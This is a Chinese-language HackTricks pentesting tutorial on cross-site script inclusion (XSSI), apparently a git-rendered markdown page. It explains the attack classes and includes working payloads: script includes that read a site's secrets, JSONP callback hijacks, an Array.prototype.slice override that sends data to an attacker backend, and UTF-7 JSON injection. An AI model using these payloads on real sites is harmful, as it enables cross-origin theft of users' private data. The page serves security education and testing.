hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

111 lines
8.1 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# XSSI跨站脚本包含
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
#### 该信息来源于[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
2023-08-03 19:12:22 +00:00
XSSI指的是一种利用了以下事实的漏洞当使用`script`标签包含资源时SOP同源策略不适用因为脚本必须能够跨域进行包含。因此攻击者可以通过使用`script`标签读取所有被包含的内容。
2023-08-03 19:12:22 +00:00
当涉及到动态JavaScript或JSONP时这一点尤其有趣因为这些情况下使用了所谓的环境权限信息如cookies用于身份验证。当从不同的主机请求资源时这些cookies会被包含进来。
2023-08-03 19:12:22 +00:00
### 类型
2023-08-03 19:12:22 +00:00
1. 静态JavaScript常规XSSI
2. 只有在身份验证后才能访问的静态JavaScript
3. 动态JavaScript
4. 非JavaScript
2023-08-03 19:12:22 +00:00
## 常规XSSI
2023-08-03 19:12:22 +00:00
私人信息位于全局可访问的JS文件中你可以通过读取文件、搜索关键字或使用正则表达式来检测到这一点。\
要利用这个漏洞,只需在恶意内容中包含包含私人信息的脚本:
```markup
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
2023-08-03 19:12:22 +00:00
## 动态基于JavaScript的XSSI和经过身份验证的JavaScript XSSI
2023-08-03 19:12:22 +00:00
当用户请求脚本时,**会添加机密信息**。通过发送请求**带有和不带有cookies**,可以轻松发现这一点,如果检索到**不同的信息**则可能包含机密信息。要自动执行此操作可以使用Burp扩展[https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。
2023-08-03 19:12:22 +00:00
如果信息存在于全局变量中,您可以使用与前面情况相同的代码来利用它。\
如果机密数据在JSONP响应中发送您可以覆盖执行的函数以检索信息
```markup
<script>
2023-08-03 19:12:22 +00:00
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
2023-08-03 19:12:22 +00:00
或者你也可以设置一个预先准备好的函数来执行JSONP响应
```markup
<script>
2023-08-03 19:12:22 +00:00
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
2023-08-03 19:12:22 +00:00
如果一个变量不在全局命名空间中有时仍然可以利用_prototype篡改_来进行利用。原型篡改滥用了JavaScript的设计即在解释代码时JavaScript会遍历原型链以找到调用的属性。以下示例摘自论文[动态JavaScript的意外危险](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf),演示了如何覆盖类型为`Array`的相关函数并访问`this`,从而泄漏非全局变量。
```javascript
(function(){
2023-08-03 19:12:22 +00:00
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
2023-08-03 19:12:22 +00:00
在原始代码中,类型为`Array`的`slice`访问了我们感兴趣的数据。正如前面的部分所描述的,攻击者可以覆盖`slice`并窃取秘密信息。
```javascript
Array.prototype.slice = function(){
2023-08-03 19:12:22 +00:00
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
2023-08-03 19:12:22 +00:00
安全研究员[Sebastian Lekies](https://twitter.com/slekies)最近更新了他的[攻击向量列表](http://sebastian-lekies.de/leak/)。
2023-08-03 19:12:22 +00:00
## 非脚本XSSI
2023-08-03 19:12:22 +00:00
Takeshi Terada在他的论文[基于标识符的XSSI攻击](https://www.mbsd.jp/Whitepaper/xssi.pdf)中描述了另一种类型的XSSI。他能够通过在`script`标签中包含CSV文件作为源文件并使用数据作为变量和函数名来泄露跨源的非脚本文件。
2023-08-03 19:12:22 +00:00
第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章[使用GMail的高级Web攻击技术](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html)描述了一种XSSI攻击通过覆盖`Array`构造函数能够读取Google账户的完整通讯录。
2023-08-03 19:12:22 +00:00
2007年Joe Walker发表了[JSON并不像人们想象的那样安全](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)。他使用了相同的思路来窃取嵌入在`Array`中的JSON数据。
2023-08-03 19:12:22 +00:00
其他相关攻击是通过将UTF-7编码的内容注入到JSON中来逃避JSON格式。这在Gareth Heyes的博客文章[JSON劫持](http://www.thespanner.co.uk/2011/05/30/json-hijacking/)中有描述,他是[Hackvertor](https://hackvertor.co.uk/public)的作者。在快速测试中这在Microsoft Internet Explorer和Edge中仍然可行但在Mozilla Firefox和Google Chrome中不可行。
2023-08-03 19:12:22 +00:00
带有UTF-7的JSON
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2023-08-03 19:12:22 +00:00
将JSON包含在攻击者的页面中
```markup
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>